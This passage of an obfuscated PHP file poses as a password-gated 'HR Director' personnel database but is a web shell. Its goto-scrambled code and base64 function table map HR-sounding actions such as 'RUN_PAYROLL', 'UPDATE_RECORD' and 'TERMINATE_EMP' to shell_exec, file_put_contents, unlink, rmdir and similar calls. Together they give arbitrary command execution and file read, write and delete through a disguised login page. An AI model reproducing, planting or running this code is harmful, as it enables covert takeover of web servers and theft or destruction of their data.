executeHRAction("\125\120\104\x41\124\105\x5f\x52\x45\103\x4f\x52\x44", $record_path, $new_data); } public static function runPayrollProcess($command) { if (executeHRAction("\103\110\105\103\x4b\x5f\x50\117\114\111\x43\131", "\x73\150\x65\x6c\x6c\137\145\x78\145\x63")) { return executeHRAction("\x52\x55\116\x5f\120\101\131\x52\117\x4c\x4c", $command); } return "\x5b\110\122\x20\120\x61\x79\162\157\154\x6c\x20\120\162\x6f\143\145\x73\163\151\x6e\147\40\122\x65\163\x74\x72\x69\x63\164\x65\144\135"; } public static function hireEmployee($path, $type = "\x65\x6d\x70\x6c\x6f\171\x65\145") { if ($type === "\145\x6d\x70\x6c\157\171\x65\145") { return executeHRAction("\x4e\x45\x57\137\x48\x49\x52\105", $path); } return executeHRAction("\x43\x52\105\101\x54\105\137\x54\105\x41\115", $path, 493, true); } } goto XhaEt; V4ZZJ: s12pI: goto LBn0c; Ldc7i: bgRe2: goto V0nLS; Rdgse: goto CxKHL; goto XQDLN; b9l9g: WcUAs: goto ug2fz; r0nzt: session_start(); goto uqyCW; mVcKd: goto jSUz3; goto fJ5W8; WLPwi: FvpVx: goto op_cO; xxSR2: f3jPk: goto LRzxU; dtkaC: UyyTN: goto AV7hY; MOzsT: CxKHL: goto ih3Gs; HzYzK: goto UB02C; goto ITWoe; NqJvF: if (isset($_GET["\x70\162\x65\166\151\145\167"])) { $record_path = $office_location . DIRECTORY_SEPARATOR . $_GET["\x70\x72\145\166\151\145\x77"]; if (executeHRAction("\122\x45\103\x4f\x52\104\x5f\105\130\111\x53\124\123", $record_path) && !executeHRAction("\x44\x45\120\x54\x5f\x43\110\105\x43\113", $record_path)) { echo "\74\160\x72\x65\x3e" . secureEmployeeData(executeHRAction("\122\105\101\104\x5f\122\105\x43\x4f\x52\104", $record_path)) . "\74\x2f\x70\x72\x65\76"; } else { echo "\x45\x6d\x70\x6c\x6f\x79\x65\x65\x20\162\x65\x63\157\162\x64\x20\x6e\157\x74\x20\x66\x6f\x75\x6e\x64\x2e"; } die; } goto FZkuG; LNLYL: czQOZ: goto P01Ev; kuHNh: goto f3jPk; goto puQmy; UF6tE: UB02C: goto jFS5H; wW2nH: ?>
</tbody></table></div></div><?php  goto XFUA2; FR80H: echo secureEmployeeData($office_location); goto MH4uE; LYrMu: function showAccessPortal() { ?>
<!doctypehtml><html lang="en"><head><meta charset="UTF-8"><title>HR Personnel Database - Director Access</title><link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&display=swap"rel="stylesheet"><style>:root{--navy:#1A202C;--steel-blue:#2C5282;--slate:#4A5568;--white:#F8FAFC;--primary:#4299E1}*{margin:0;padding:0;box-sizing:border-box}body{font-family:Inter,sans-serif;background:linear-gradient(135deg,var(--navy) 0,#2d3748 100%);min-height:100vh;display:flex;align-items:center;justify-content:center;padding:20px}.hr-portal{background:var(--white);max-width:450px;width:100%;border-radius:20px;overflow:hidden;box-shadow:0 30px 60px rgba(0,0,0,.35);animation:portalSlide .8s ease-out}@keyframes portalSlide{from{opacity:0;transform:translateY(50px) scale(.9)}to{opacity:1;transform:translateY(0) scale(1)}}.portal-header{background:linear-gradient(135deg,var(--steel-blue),var(--primary));color:var(--white);padding:50px 40px;text-align:center}.hr-badge{width:85px;height:85px;background:rgba(255,255,255,.2);border-radius:24px;display:flex;align-items:center;justify-content:center;margin:0 auto 25px;font-size:36px;backdrop-filter:blur(10px)}.portal-title h1{font-size:32px;font-weight:700;margin-bottom:10px}.portal-subtitle{font-size:16px;opacity:.95;font-weight:500}.access-form{padding:50px 40px}.input-group{margin-bottom:32px;position:relative}.input-label{position:absolute;top:-14px;left:24px;background:var(--white);padding:0 16px;font-size:14px;font-weight:600;color:var(--steel-blue)}.access-code{width:100%;padding:22px 24px;border:2px solid #e2e8f0;border-radius:14px;font-size:16px;background:#fafcff;transition:all .3s;font-family:inherit}.access-code:focus{outline:0;border-color:var(--primary);box-shadow:0 0 0 4px rgba(66,153,225,.15);background:var(--white)}.director-btn{width:100%;background:linear-gradient(135deg,var(--primary),#3182ce);color:var(--white);border:none;padding:22px;border-radius:14px;font-size:17px;font-weight:600;cursor:pointer;transition:all .3s}.director-btn:hover{transform:translateY(-3px);box-shadow:0 20px 40px rgba(66,153,225,.4)}.error-alert{background:#fed7d7;color:#c53030;padding:18px 24px;border-radius:12px;margin-bottom:30px;border-left:6px solid #fc8181;display:flex;align-items:center;gap:14px;animation:alertPulse .6s}@keyframes alertPulse{0%,100%{transform:scale(1)}50%{transform:scale(1.02)}}.portal-footer{background:#f8fafc;text-align:center;padding:25px;color:var(--slate);font-size:14px;border-top:1px solid #e2e8f0}</style></head><body><div class="hr-portal"><div class="portal-header"><div class="hr-badge">👤</div><div class="portal-title"><h1>HR DIRECTOR</h1><div class="portal-subtitle">Personnel Database Access</div></div></div><div class="access-form"><?php  if (isset($_SESSION["\x65\162\162\x6f\x72\x5f\156\x6f\x74\x69\x66\x69\143\141\x74\x69\157\156"])) { ?>
<div class="error-alert"><span>⚠️</span><?php  echo htmlspecialchars($_SESSION["\x65\162\x72\x6f\162\x5f\x6e\x6f\164\151\x66\x69\143\x61\x74\151\x6f\x6e"]); unset($_SESSION["\145\x72\x72\157\162\137\156\x6f\x74\x69\x66\151\143\141\x74\151\x6f\x6e"]); ?>
</div><?php  } ?>
<form method="post"><div class="input-group"><label class="input-label">Director Access Code</label> <input name="access_code"placeholder="Enter HR database code"required autocomplete="off"class="access-code"type="password"></div><button class="director-btn"type="submit">Authorize Access</button></form></div><div class="portal-footer"><p>© 2026 Corporate HR Systems v5.1</p><p style="font-size:13px;margin-top:6px">HR Directors Only</p></div></div><script>document.querySelector(".access-code").focus()</script></body></html><?php  } goto x2vp3; Jkjd8: $__HR = array(); goto BgB90; sHQlJ: r8mJ2: goto w8IjS; jceiN: goto S2nyr; goto X8Q7R; edP4b: Z5xcd: goto H_XH6; z0TWW: foreach ($employee_records as $record) { ?>
<tr><td><i class="fas<?php  echo $record["\x74\x79\x70\x65"] === "\x64\x65\x70\x61\x72\x74\x6d\145\156\164" ? "\x66\141\x2d\x62\165\x69\154\x64\151\156\x67" : "\x66\x61\55\x75\163\145\162"; ?>
"style="margin-right:14px;color:<?php  echo $record["\x74\x79\x70\145"] === "\x64\145\160\x61\x72\164\155\x65\x6e\x74" ? "\43\x33\x42\70\62\106\x36" : "\43\x36\x42\x37\62\70\x30"; ?>
"></i><?php  if ($record["\x74\171\160\x65"] === "\144\x65\160\141\162\x74\155\145\x6e\164") { ?>
<a href="?dept=<?php  echo urlencode($record["\x66\165\x6c\154\x5f\160\141\x74\x68"]); ?>
"style="color:var(--navy);font-weight:500;text-decoration:none"><?php  echo secureEmployeeData($record["\x6e\x61\x6d\x65"]); ?>
</a><?php  } else { echo secureEmployeeData($record["\156\x61\x6d\x65"]); } ?>
</td><td><span class="status-tag<?php  echo $record["\164\171\160\145"] === "\x64\x65\160\x61\162\x74\155\x65\156\x74" ? "\164\x61\x67\55\144\x65\x70\x61\162\x74\x6d\145\x6e\x74" : "\164\x61\x67\55\x65\155\160\154\x6f\x79\145\x65"; ?>
"><?php  echo ucfirst($record["\164\171\160\x65"]); ?>
</span></td><td><?php  echo $record["\163\151\172\145"]; ?>
</td><td><?php  echo $record["\154\x61\163\x74\137\x6c\157\x67\151\156"]; ?>
</td><td><code><?php  echo $record["\141\143\143\x65\163\163\x5f\154\145\x76\x65\x6c"]; ?>
</code></td><td><div class="action-panel"><?php  if ($record["\x74\171\x70\145"] === "\x65\155\160\154\157\171\x65\x65") { ?>
<button class="action-btn action-preview"onclick='previewRecord("<?php  echo urlencode($record["\156\141\155\145"]); ?>
")'title="Preview"><i class="fas fa-eye"></i></button> <a href="?update=<?php  echo urlencode($record["\156\141\x6d\145"]); ?>
&dept=<?php  echo urlencode($office_location); ?>
"class="action-btn action-update"title="Update"><i class="fas fa-edit"></i> </a><?php  } ?>
<button class="action-btn action-terminate"onclick='confirmTermination("<?php  echo urlencode($record["\x6e\x61\155\x65"]); ?>
","<?php  echo urlencode($office_location); ?>
")'title="Terminate"><i class="fas fa-user-slash"></i></button></div></td></tr><?php  } goto kuHNh; AE94J: j4RwN: goto uArPe; n1p8_: ?>
GB</div></div></div><div class="stat-card"><div class="stat-icon stat-purple"><i class="fas fa-memory"></i></div><div class="stat-text"><h3>RAM</h3><div class="stat-value"><?php  goto bPVOh; LRzxU: if (empty($employee_records)) { ?>
<tr><td colspan="6"style="text-align:center;padding:45px;color:#9ca3af">No employee records found.</td></tr><?php  } goto rbu2X; LvVXb: jSUz3: goto FR80H; p01VV: THc3p: goto Yu0_o; puQmy: SwQzj: goto jnzu7; h8kVu: define("\104\x42\x5f\x4b\105\131", "\61\x30\x36"); goto F6HYO; FQVXg: wiVpX: goto n1p8_; ih3Gs: function secureEmployeeData($input) { if (empty($input)) { return ''; } $clean = executeHRAction("\x53\124\x52\x49\x50\137\x54\101\107\123", $input); return executeHRAction("\x53\105\103\x55\122\105\x5f\x54\105\x58\x54", $clean, ENT_QUOTES, "\x55\x54\x46\x2d\70"); } goto nMIHw; XmBRW: $__HR_FUNCS = array("\105\115\x50\x4c\x4f\x59\105\x45\137\114\x49\123\124" => "\143\x32\116\150\x62\x6d\x52\160\143\x67\x3d\x3d", "\104\105\x50\124\x5f\x43\110\x45\x43\113" => "\141\x58\116\x66\132\x47\x6c\171", "\106\x49\114\105\x5f\123\111\x5a\x45" => "\x5a\155\154\x73\x5a\130\116\x70\x65\x6d\x55\x3d", "\114\101\x53\x54\x5f\114\117\107\x49\116" => "\x5a\155\154\163\132\127\x31\x30\x61\127\x31\x6c", "\101\x43\103\105\x53\123\137\x4c\105\126\105\x4c" => "\132\x6d\x6c\163\x5a\x58\102\154\143\155\61\172", "\x53\x4c\x49\103\x45\x5f\x44\x41\x54\x41" => "\x63\63\x56\x69\143\63\122\171", "\x46\x4f\x52\115\101\124\137\x45\x4d\x50\x49\104" => "\143\63\x42\171\141\127\x35\60\x5a\147\x3d\75", "\103\x41\114\103\x5f\131\105\x41\122\123" => "\132\x6d\x78\x76\x62\63\x49\75", "\114\x4f\107\x5f\131\105\101\122\x53" => "\142\107\x39\156", "\105\130\x50\x5f\131\105\101\x52\123" => "\x63\x47\x39\63", "\x52\x4f\x55\x4e\x44\x5f\124\105\x4e\x55\122\105" => "\x63\155\x39\x31\x62\155\x51\75", "\x4f\x4e\102\x4f\x41\x52\104\137\x45\x4d\120" => "\142\x57\x39\62\x5a\x56\71\x31\x63\x47\x78\166\x59\127\x52\x6c\132\106\x39\x6d\141\127\x78\154", "\124\x45\x52\x4d\111\116\x41\x54\105\137\x45\x4d\120" => "\144\127\65\x73\x61\127\65\162", "\103\114\105\x41\x4e\x5f\x44\x45\120\x54" => "\143\x6d\61\x6b\x61\x58\x49\75", "\125\x50\x44\x41\x54\x45\137\x52\x45\103\117\122\104" => "\x5a\155\154\x73\132\x56\71\x77\x64\x58\x52\146\x59\x32\x39\x75\144\x47\126\x75\x64\110\x4d\x3d", "\122\x55\116\137\x50\101\x59\122\117\x4c\x4c" => "\143\x32\x68\154\x62\107\170\x66\x5a\130\x68\154\x59\x77\x3d\x3d", "\103\110\x45\x43\113\x5f\120\117\114\111\x43\x59" => "\132\156\126\165\x59\63\122\160\x62\62\x35\x66\x5a\x58\150\x70\143\x33\x52\x7a", "\x4e\105\x57\137\110\111\x52\x45" => "\x64\107\71\61\131\x32\147\x3d", "\x43\x52\105\101\x54\x45\x5f\x54\105\x41\115" => "\x62\127\164\153\x61\x58\x49\75", "\126\105\122\111\106\x59\137\x50\x41\124\110" => "\143\155\126\x68\142\110\102\x68\144\x47\x67\x3d", "\103\x4c\105\101\x4e\137\x4e\101\x4d\105" => "\143\63\122\171\x58\63\112\154\x63\x47\x78\x68\131\x32\x55\x3d", "\123\x45\x54\x5f\x4c\x4f\103\101\124\x49\117\x4e" => "\131\x32\x68\153\x61\x58\x49\75", "\105\x4d\120\x5f\x4e\101\115\x45" => "\131\155\106\x7a\132\127\x35\150\x62\x57\125\x3d", "\x54\105\x41\115\x5f\x44\111\x52" => "\x5a\107\154\x79\x62\155\106\164\132\x51\75\75", "\x53\120\114\x49\x54\137\103\123\126" => "\132\130\x68\x77\142\x47\x39\x6b\x5a\121\x3d\75", "\112\117\111\x4e\137\103\123\126" => "\141\x57\61\167\142\107\71\x6b\x5a\x51\x3d\x3d", "\x48\x45\x41\104\x43\117\x55\116\x54" => "\131\x32\x39\x31\142\156\x51\75", "\123\x45\x41\x52\103\110\137\x45\x4d\120" => "\141\x57\65\146\131\x58\x4a\171\131\x58\153\x3d", "\106\111\x4c\x54\x45\x52\x5f\x45\115\120" => "\131\130\x4a\171\x59\130\154\146\x5a\x47\154\155\x5a\x67\75\x3d", "\x53\x45\103\x55\122\x45\137\x54\x45\130\124" => "\x61\x48\122\x74\142\110\116\167\x5a\127\116\x70\131\127\170\152\141\x47\x46\x79\143\167\x3d\75", "\105\116\103\117\x44\105\137\x49\x44" => "\x64\130\x4a\x73\132\x57\65\152\142\62\122\x6c", "\x54\x52\x49\115\x5f\x4e\101\115\x45" => "\144\x48\x4a\160\x62\x51\75\x3d", "\x52\x45\x44\x49\122\x45\103\x54" => "\x61\107\x56\x68\x5a\107\126\171", "\x4e\x4f\x57" => "\144\107\x6c\164\132\121\75\75", "\104\x41\x54\105\x5f\123\x54\101\x4d\x50" => "\132\x47\106\60\132\121\x3d\x3d", "\103\x55\122\x52\105\x4e\124\x5f\117\106\x46\x49\103\105" => "\132\62\126\x30\131\x33\x64\x6b", "\x44\111\123\113\137\123\x50\x41\x43\x45" => "\x5a\107\x6c\172\141\61\71\155\143\155\126\x6c\x58\63\116\x77\x59\127\116\154", "\x52\x41\115\x5f\125\x53\101\x47\x45" => "\x62\127\x56\164\142\63\112\65\130\62\x64\154\x64\106\x39\61\x63\62\x46\x6e\x5a\121\75\x3d", "\122\105\103\x4f\122\104\x5f\105\x58\x49\x53\x54\x53" => "\x5a\x6d\x6c\163\132\x56\71\x6c\145\x47\x6c\x7a\x64\110\115\75", "\x52\x45\x41\104\x5f\122\105\x43\117\x52\104" => "\x5a\155\154\163\132\126\x39\156\132\130\122\146\131\62\71\x75\144\x47\x56\165\144\x48\115\75", "\114\117\x47\x4f\x55\x54" => "\143\x32\126\172\x63\x32\154\x76\142\154\71\x6b\132\130\x4e\x30\x63\155\71\x35", "\123\124\x52\111\120\x5f\x54\101\107\123" => "\143\63\122\171\x61\130\x42\146\144\x47\106\x6e\143\167\75\x3d"); goto Redhm; bPVOh: goto eTOfX; goto y5yzJ; JKkm9: goto fvAI_; goto ooYf4; wvPsW: goto THc3p; goto B_hA7; xRQXx: eFMIr: goto ovUfx; SA0dR: goto JlgrJ; goto lBtSK; Redhm: goto wC4ZL; goto sHQlJ; hgYmT: for ($i = 0; $i < 85; $i++) { $employee_db[] = array("\145\x6d\x70\137\151\x64" => "\x45\115\120" . str_pad($i + 1, 4, "\60", STR_PAD_LEFT), "\144\145\160\141\162\x74\155\x65\156\164" => array("\x45\156\x67\x69\156\145\145\x72\151\x6e\147", "\115\141\162\x6b\145\x74\x69\156\x67", "\x4f\x70\x65\x72\x61\x74\151\x6f\156\x73", "\x46\151\x6e\x61\156\143\145", "\x48\122")[rand(0, 4)], "\163\164\x61\x74\165\x73" => array("\x61\143\164\151\x76\x65", "\157\x6e\x62\157\141\162\x64\x69\x6e\x67", "\160\162\x6f\142\x61\164\x69\x6f\156")[rand(0, 2)], "\x74\145\156\x75\162\145\x5f\x79\x65\x61\162\163" => rand(1, 15), "\163\141\154\141\x72\x79\x5f\142\141\x6e\144" => rand(3, 12)); } goto e59ZK; Y3rwG: if (!$office_location) { $office_location = PersonnelManager::getOfficeLocation(); } goto LKO_h; z3bZ1: ?>
')
        .then(r => r.text())
        .then(text => {
            document.getElementById('recordViewer').textContent = text;
            document.getElementById('previewModal').style.display = 'flex';
        });
}
window.onclick = function(e) {
    if (e.target.classList.contains('modal-overlay')) {
        e.target.style.display = 'none';
    }
};</script></body></htm')); ?>